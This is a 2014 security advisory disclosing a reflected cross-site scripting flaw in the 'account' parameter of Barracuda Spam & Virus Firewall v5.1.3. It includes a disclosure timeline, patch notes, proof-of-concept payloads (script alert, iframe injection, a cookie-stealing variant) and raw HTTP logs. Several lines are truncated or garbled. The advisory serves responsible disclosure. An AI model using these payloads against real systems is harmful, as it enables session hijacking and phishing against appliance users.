Barracuda Networks Spam&Virus Firewall v5.1.3 - Client Side Cross Site Vulnerability Jul 28 2014 08:30AM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
Barracuda Networks Spam&Virus Firewall v5.1.3 - Client Side Cross Site Vulnerability

References (Source):

Barracuda Networks Security ID (BNSEC): BNSEC-1052

Solution #00006606
BNSEC-01052: Non-persistent XSS in Barracuda Spam and Virus Firewall v5.1.3

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
For efficient, effective corporate communication and collaboration, todayâ??s organizations need more than just
security against spam and malware. They need a comprehensive email governance solution that combines granular
policy management, real-time visibility into email activity, and the ability to handle massive volume and
huge files. Barracuda Spam & Virus Firewall is todayâ??s solution for comprehensive email governance.

(Copy of the Vendor Product Homepage: https://www.barracuda.com/products/spamandvirusfirewall/ )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered a client-side cross site vulnerability in the Barracuda Spam and Virus Firewall v5.1.3 (200,400 or 600) & Vx web-application.

Vulnerability Disclosure Timeline:
2013-11-19: Researcher Notification & Coordination (Ateeq Khan)
2013-11-19: Vendor Notification (Barracuda Networks Security Incident Team - Bug Bounty Program)
2014-12-20: Vendor Response/Feedback (Barracuda Networks Security Incident Team - Bug Bounty Program)
2014-07-15: Vendor Fix/Patch (Barracuda Networks Developer Team)
2014-07-25: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Barracuda Networks
Product: Spam & Virus Firewall - 100 200 300 400 500 600 700 800 900 1000

Exploitation Technique:

Severity Level:

Technical Details & Description:
A client-side cross site scripting web vulnerability is detected in the official Barracuda Spam & Antivirus Firewall Web-Application.
The vulnerability allows remote attackers to manipulate via POST method web-application to browser requests (client-side).

The vulnerability is located in the `Per User Account View` module of the security appliance web-application. The vulnerable file is
index.cgi and the affected value is `account`. Remote attackers can inject own malicious script codes on client-side. The attack
vector of the issue is non-persistent and the request method to execute the malicious code is GET. Remote attackers can for example
send manipualted links to priviledged application users to hijack session information (client-side) or execute non persistent codes.

The security risk of the non-persistent input validation web vulnerability is estimated as low with a cvss (common vulnerability
scoring system) count of 2.9. The non persistent cross site vulnerability can be exploited by remote attackers without privileged
application user account and with low or medium user interaction. Successful exploitation of the client-side cross site scripting
web vulnerability results in session hijacking, client-side phishing, client-side unauthorized external redirects and client-side
manipulation of the connected or affected module context.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] Users > Per User Account View

Vulnerable File(s):
[+] index.cgi

Vulnerable Parameter(s):
[+] account=

Proof of Concept (PoC):
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged web-application user account and with
low user interaction click. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the security vulnerability ...

1. Login to the spam and antivirus firewall as normal guest user
2. Once logged in, click on the Basic Tab once
3. Now copy paste the following payload in the URL carefully after the password field replacing all other variables with our string

&account=domainadmin (at) barracuda (dot) coma [email concealed]f92c"><script>alert(1)</script>e35289

4. You should now be able to see a javascript popup revealing the session cookies hence proving the existence of this vulnerability!

PoC: Frame Inject
&account=domainadmin (at) barracuda (dot) coma [email concealed]f92c%3E%3Ciframe%20src=http://www.vul

PoC: Cookie Steal
&account=domainadmin (at) barracuda (dot) coma [email concealed]f92c%3E%3Cscript%3Ealert%28document.c

Review: Change Password - Mail Session Title
<tbody><tr><td colspan="1" style="padding:0 0 5px 0;" valign="top" width="100%">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td class="TitleLeft"></td><td class="TitleTop">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td><a name="Change Password:domainadmin (at) barracuda (dot) coma [email concealed]f92c>
<iframe src=http://www.vulnerability-lab.com>e352896d01c">
Change Password:domainadmin (at) barracuda (dot) coma [email concealed]f92c><iframe src="http://www.vulnerability-lab.com">e352896d01c</td>

--- PoC Session Request Logs ---
GET /cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US&password=0
user_account_view&account=domainadmin (at) barracuda (dot) coma [email concealed]f92c%3E%3Cscript%3Ea
width=720&popup_height=500 HTTP/1.1
Host: spam.ptest.cudasvc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; ys-preview_south=o%3Acollapsed%3Db%253A1; ys-preview_east=o%3Acollapsed%3Db%253A0
Connection: keep-alive

HTTP/1.1 200 OK
Server: BarracudaHTTP 4.0
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; path=/
Set-Cookie: ys-preview_south=o%3Acollapsed%3Db%253A1; path=/
Set-Cookie: ys-preview_east=o%3Acollapsed%3Db%253A0; path=/
Expires: Thu, 18 Oct 2012 23:48:26 GMT
Date: Fri, 18 Oct 2013 23:48:26 GMT
Content-Length: 8325

<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">

<a name="Change Password:domainadmin (at) barracuda (dot) coma [email concealed]f92c"><script>alert(document.cookie)<


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse of the account and session id echo when processing to reset passwords via the email address.
Parse the parameter value input of the account and encode the output in the session values.

Barracuda Networks: Appliances > Advanced > Firmware Updates (automatic) page or use the regular customer panel

Security Risk:
The security risk of the client-side cross site scripting web vulnerability is estimated as medium.

Credits & Authors:
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan (ateeq (at) evolution-sec (dot) com [email concealed]) [www.vulnerability-lab.com]

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